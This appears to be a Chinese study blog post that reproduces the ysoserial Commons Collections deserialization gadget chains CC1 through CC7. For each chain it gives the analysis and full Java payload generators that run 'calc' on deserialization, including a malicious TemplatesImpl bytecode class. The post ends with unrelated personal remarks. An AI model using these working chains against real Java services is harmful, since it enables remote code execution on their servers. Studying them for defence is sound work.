0%

添砖 Java 贰(doing)

添砖 Java 贰(doing)

复现一部分主要是 ysoserial 上的经典链子;

测试文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
// import and imports

/**
* -- Test some classic Java deserialization chains.
* -- Generate payloads and deserialization them, mostly run 'calc' to demonstrate RCE.
* -- Some payloads have conflicting dependencies, but smooth execution can be ensured by appropriately modifying the /
* pom.xml, adjusting the SDK path, and annotating methods.
*
* @author qst137
* @version 1.0
*/

public class ClassicChains {
public static void main(String[] args) throws Exception {
serThenDes(getPayload());
}

/**
* do serialization and deserialization
*
* @param object object to test
* @author qst137
*/
private static void serThenDes(Object object) throws IOException, ClassNotFoundException {
// bytes
ByteArrayOutputStream bos = new ByteArrayOutputStream();

// serialization and write
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(object);

// read and deserialization
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));
ois.readObject();
ois.close();
}

// payload generators

/**
* Dependencies: JDK
*
* @return java.lang.Object
* @author qst137
*/
private static Object getPayload() throws Exception {
// do sex when program is running
return new Object();
}
}

CC6

1
2
3
4
5
6
/**
* Dependencies: CommonsCollections 3.1-3.2.1
*
* @return java.lang.Object
* @author qst137
*/

分析

参见添砖 Java 壹

getPayload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
private static final String CC6_ANY1 = "QST";
private static final String CC6_ANY2 = "QSTQST";
private static final String CC6_ANY3 = "QSTQSTQST";

/**
* Dependencies: CommonsCollections 3.1-3.2.1
*
* @return java.lang.Object
* @author qst137
*/
private static Object getCC6Payload() throws IllegalAccessException, NoSuchFieldException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{Runtime.class, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(CC6_ANY1)};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);

Map innerMap = new HashMap<>();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);

TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, CC6_ANY2);
Map expMap = new HashMap();
expMap.put(tiedMapEntry, CC6_ANY3);

outerMap.remove(CC6_ANY2);

Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);

return expMap;
}

CC1

1
2
3
4
5
6
/**
* Dependencies: CommonsCollections 3.1-3.2.1, JDK < 8u71
*
* @return java.lang.Object
* @author qst137
*/

分析

首先构造 ChainedTransormer;

1
2
3
4
5
6
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{Runtime.class, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
};

为什么这里不直接 ConstantTransformer(Runtime)?因为 Runtime 类不是 SerializableClass 是,故而用了这样一个小 trick;

然后祭出 TransformedMap ,特点是会在 setValue 时调用 transformer

1
2
3
4
5
      ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map evilMap = TransformedMap.decorate(map,null,chainedTransformer);
// evilMap.put(ANY,ANY);
// calc

然后找在 readObject 时能调用到 setValue 的类 AnnotationInvocationHandler

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
private static final String ONE_OF_MEMBERS_NAME = "value";
private static final String ANY = "QST";
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;

try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();

while(var4.hasNext()) {
Map.Entry var5 = (Map.Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}

}

触发条件:

  1. AnnotationType.getInstance(this.type) 要求 type 继承 Annotation 类;
  2. memberTypes 要有键名为 memberValues(也就是传入的 map)的键名的成员,也就是构造时的 type 要有名为 map 键名的一个属性;

找一个有属性的注解即可,比如 Targetvalue 属性;

getPayload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
private static final String ONE_OF_MEMBERS_NAME = "value";
private static final String ANY = "QST";
/**
* Dependencies: CommonsCollections 3.1-3.2.1, JDK < 8u71
*
* @return java.lang.Object
* @author qst137
*/
private static Object getCC1Payload() throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
map.put(ONE_OF_MEMBERS_NAME, ANY);
Map evilMap = TransformedMap.decorate(map, null, chainedTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor con = clazz.getDeclaredConstructor(Class.class, Map.class);
con.setAccessible(true);
return con.newInstance(Target.class, evilMap);
}

CC3

1
2
3
4
5
6
7
/**
* Dependencies: CommonsCollections3.1
* org.javassist is needed to get bytecode of class
*
* @return java.lang.Object
* @author qst137
*/

TempImpl 加载字节码

加载字节码的很多种方式之一;

相关代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
public final class TemplatesImpl implements Templates, Serializable{
// only related code

// last
static final class TransletClassLoader extends ClassLoader {
TransletClassLoader(ClassLoader parent) {
super(parent);
}
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}
}

// the second last
private void defineTransletClasses()
throws TransformerConfigurationException {

// ...
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
// ...
}
}

// the third last
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;

if (_class == null) defineTransletClasses();
// ...
}
}

// the fourth last
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;

transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
}
}

实现这个调用就可以加载恶意字节码;

注意加载的类一定是继承了 AbstractTranslet,有检查,这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
/**
* Evil Class for TemplateImpl, must extend AbstractTranslet
*
* @author qst137
* @version 1.0
*/

public class EvilTransletClass extends AbstractTranslet{

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}

分析

CC3 比较强大的一点功能是可以绕过对 InvokerTransformer 的禁用,转用 InstantiateTransformer ,区别就是 InstantiateTransformer 调用的是类的构造方法;

找到了 TrAXFilter

1
2
3
4
5
6
7
8
public TrAXFilter(Templates templates)  throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}

调用了 newTransformer(),前面就用 CC6 的前一半构造即可;

官方的 CC3 用的是 CC1 的前一半,故而受 Java 版本限制,我们用 CC6 的前一半可以绕过这个限制通杀所有 Java 版本( 和 CC6)的特点一样;

这条链子比 CC6 要强一点,因为可以绕过对 InvokerTransformer 可能的禁用;

getPayload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
private static final String CC3_ANY1 = "QST";
private static final String CC3_ANY2 = "QSTQST";
private static final String CC3_ANY3 = "QSTQSTQST";
private static final int CC3_ANY4 = 1;


/**
* Dependencies: CommonsCollections 3.1-3.2.1
* org.javassist is needed to get bytecode of class
*
* @return java.lang.Object
* @author qst137
*/
private static Object getCC3Payload() throws Exception {

Templates templates = new TemplatesImpl();

setFieldValue(templates, "_bytecodes", new byte[][]{ClassPool.getDefault().get(EvilTransletClass.class.getName()).toBytecode()});
setFieldValue(templates, "_name", CC3_ANY1);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};

// put fake transformers
// use reflection instead of "put" method to avoid unexpected serialization
Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(CC3_ANY4)};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);

Map innerMap = new HashMap<>();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);

TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, CC3_ANY2);
Map expMap = new HashMap();
expMap.put(tiedMapEntry, CC3_ANY3);

outerMap.remove(CC3_ANY2);

setFieldValue(transformerChain, "iTransformers", transformers);
return expMap;
}

注意 EvilTransletClass 是上面我自己定义的;

CC5

1
2
3
4
5
6
/**
* Dependencies: CommonsCollections 3.1-3.2.1
*
* @return java.lang.Object
* @author qst137
*/

分析

和 CC6 挺像,更朴实无华的调用到 Lazymap#get()

注意到 TiedMapEntry#toString() 会调用 this.getValue() 进而调用 Map#get()

1
2
3
public String toString() {
return this.getKey() + "=" + this.getValue();
}

Object#toString() 的调用就比较好找了,注意到 BadAttributeValueExpException#readObject()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);

if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}

System.getSecurityManager() 默认为 null ,故将序列化流里的对象的 val 设置为指向带 TransformerLazyMapEntryMap 即可;

getPayload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
private static final String CC5_ANY = "QST";

/**
* Dependencies: CommonsCollections 3.1-3.2.1
*
* @return java.lang.Object
* @author qst137
*/
private static Object getCC5Payload() throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
Map lazymap = LazyMap.decorate(new HashMap(), chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, CC5_ANY);
BadAttributeValueExpException evilE = new BadAttributeValueExpException(null);
setFieldValue(evilE, "val", tiedMapEntry);
return evilE;
}

CC7

1
2
3
4
5
6
/**
* Dependencies: CommonsCollections 3.1-3.2.1
*
* @return java.lang.Object
* @author qst137
*/

分析

还是 Lazymap ,区别是这次调的 AbstractMap#equals()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public boolean equals(Object o) {
if (o == this)
return true;

if (!(o instanceof Map))
return false;
Map<?,?> m = (Map<?,?>) o;
if (m.size() != size())
return false;

try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key)))
return false;
}
}
} catch (ClassCastException unused) {
return false;
} catch (NullPointerException unused) {
return false;
}

return true;
}

想进到 m.map() 两条约束:

  1. o instanceof Map,必须的;
  2. m.size() == size(),需要控制一下;

再找哪里调了这个 equalsHashtable#readObject() 调用 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
    private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
// ...

// Read the number of elements and then all the key/value objects
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();
// sync is eliminated for performance
reconstitutionPut(table, key, value);
}
}

private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
throws StreamCorruptedException
{
if (value == null) {
throw new java.io.StreamCorruptedException();
}
// Makes sure the key is not already in the hashtable.
// This should not happen in deserialized version.
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}

想走到 e.key.equals(key) 要求 e.hash == key.hashCode(),与运算前面为 false 后面就不会判断了,如何构造使前面相等?

要懂一点哈希表,看这个结构,e.hash 是上一个存进去的到这个 indexEntry.hash,也就是两个 keyObject.hashcode() 要相等,其中一个 key 是我们要调 AbstractMap#equals()Hashmap,故先构造一下;

AbstractMap#hashCode() 的逻辑是这样的:

1
2
3
4
5
6
7
public int hashCode() {
int h = 0;
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext())
h += i.next().hashCode();
return h;
}

把每个 EntryhashCode() 相加得到这个 MaphashCode(),再看 Entry#hashCode() 怎么写;

1
2
3
4
5
6
7
  static class Node<K,V> implements Map.Entry<K,V> {
// ...
public final int hashCode() {
return Objects.hashCode(key) ^ Objects.hashCode(value);
}
// ...
}

因此 LazyMap#hashCode() 最后只与 HashMap 中每个键值对的 hashCode() 有关,而 Node#hashCode() 只把 keyvalue 的值简单异或了,故而撞 key 很容易实现,选用 "00"".n" 即可;

有个问题,这里构造会多调用一次 LazyMap#get() 导致 keyOuterMap 多出一个和 keySameHashMap.key 相同 key 的键值对,value.classProcessImpl 无法反序列化,因此要手动移除掉这个键;

getPayload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
private static final String CC7_SAME_HASH1 = "00";
private static final String CC7_SAME_HASH2 = ".n";
private static final String CC7_ANY_VALUE = "QST";

/**
* Dependencies: CommonsCollections 3.1-3.2.1
*
* @return java.lang.Object
* @author qst137
*/
private static Object getCC7Payload() throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});
Hashtable evilH = new Hashtable<>();
Map keyInnerMap = new HashMap<>();
Map keyOuterMap = LazyMap.decorate(keyInnerMap, chainedTransformer);
keyInnerMap.put(CC7_SAME_HASH1, CC7_ANY_VALUE);
Map keySameHashMap = new HashMap<>();
keySameHashMap.put(CC7_SAME_HASH2, CC7_ANY_VALUE);
evilH.put(keySameHashMap, CC7_ANY_VALUE);
evilH.put(keyOuterMap, CC7_ANY_VALUE);
keyInnerMap.remove(CC7_SAME_HASH2);
setFieldValue(chainedTransformer, "iTransformers", transformers);
return evilH;
}

CC2

CommonsCollections4.x

CommonsCollections4.0 中,所有的 CC 链依然可用,只是 LazyMap#decorate() 更名为 LazyMap#lazyMap()

高版本就修了,4.0 还有两个链子:CC2 和 CC4;

感觉 4.0 是“ bug 越修越多”的典范,当然话不能这么说,库开发者很牛逼,修 bug 顺手的事儿,security reserachers 才是蛀虫罢;

分析

这次不用 Map 了,改用 Comparator,有 TransformingComparator#compare() 能启动 transformer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public class TransformingComparator<I, O> implements Comparator<I>, Serializable {

private final Comparator<O> decorated;
private final Transformer<? super I, ? extends O> transformer;

public TransformingComparator(Transformer<? super I, ? extends O> transformer) {
this(transformer, ComparatorUtils.NATURAL_COMPARATOR);
}

public TransformingComparator(Transformer<? super I, ? extends O> transformer, Comparator<O> decorated) {
this.decorated = decorated;
this.transformer = transformer;
}

public int compare(I obj1, I obj2) {
O value1 = this.transformer.transform(obj1);
O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
}

找一条反序列化能走到 Comparator#compare() 的链子;

入口为 PriorityQueue

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();

// Read in (and discard) array length
s.readInt();

SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);
queue = new Object[size];

// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();

// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}

private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}

private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}

private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}

heapify() 要求 size >= 2,且 queue[] 要有对应的元素;

siftDownUsingComparator() 要求 k < half ,即 size / 2 - 1 < size / 2,白给;

注意一点,之所以 CC2 和后面的 CC4 要求 commons-collections4.0,是因为 4.0 之前的版本 TransformingComparator 类未实现 Serializable 接口;

getPayload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
private static final int CC2_QUEUE_SIZE = 2;
private static final String[] CC2_ANY_QUEUE = {"QST", "WWJ"};
/**
* Dependencies: CommonsCollections4 4.0
*
* @return java.lang.Object
* @author qst137
*/
@SuppressWarnings({"rawtypes", "unchecked"})
public static Object getCC2Payload() throws Exception {
Transformer[] transformers = {
new ConstantTransformer<Object, Object>(Runtime.class),
new InvokerTransformer<>("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer<>("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer<>("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
PriorityQueue<Object> evilQ = new PriorityQueue<>();
ClassicChains.setFieldValue(evilQ, "size", CC2_QUEUE_SIZE);
ClassicChains.setFieldValue(evilQ, "queue", CC2_ANY_QUEUE);
ClassicChains.setFieldValue(evilQ, "comparator", transformingComparator);
return evilQ;
}

会执行两次命令,因为 compare 两边一边调用一次 transform

CC4

1
2
3
4
5
6
/**
* Dependencies: CommonsCollections4.0
*
* @return java.lang.Object
* @author qst137
*/

分析

纯烂活,后半段是 CC3 绕过 InvokerTransformer 的原理,前半段是 CC2 通过 PriorityQueue 包装拉起 TransformingComparator 回调的原理;

getPayload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
private static final String CC4_ANY = "QST";
private static final int CC4_QUEUE_SIZE = 2;
private static final String[] CC4_ANY_QUEUE = {"QST", "WWJ"};
/**
* Dependencies: CommonsCollections4.0
*
* @return java.lang.Object
* @author qst137
*/
public static Object getCC4Payload() throws Exception{
Templates templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{ClassPool.getDefault().get(EvilTranslateClass.class.getName()).toBytecode()});
setFieldValue(templates, "_name", CC4_ANY);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

Transformer[] transformers = {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
PriorityQueue<Object> evilQ = new PriorityQueue<>();
setFieldValue(evilQ, "size", CC4_QUEUE_SIZE);
setFieldValue(evilQ, "queue", CC4_ANY_QUEUE);
setFieldValue(evilQ, "comparator", transformingComparator);
return evilQ;
}

这个只执行一次,因为 compare 调用一次 transform 之后会抛出错误,不细究了;

标准的 CC 链子就这些;

CB1 todo

todo

JDK7u21 todo

todo

URLDNS todo

todo

Groovy todo

todo

Spring1 todo

todo

Spring2 todo

todo

JSON1 todo

todo

我承认我第一次看到“不会表达爱”这个句子的时候笑喷了,那是不会表达爱么,那是不爱;

我悬在空中,哭我自己现在以及将来的幸福;

我还是没有学会享受当下,以上;

我求你们,求求你们,不要非常淡然的给自己青春插一片坟墓,然后变成一个什么都无所谓的人,至少把那坟墓藏起来,藏起来,看到这种东西我的心像要被挤碎了一样,真的,真真的……

我是很恋旧的人啊,虽然你们和我没有关系,但是不要伤害它……

算了也无所谓;

点名批评某 zk。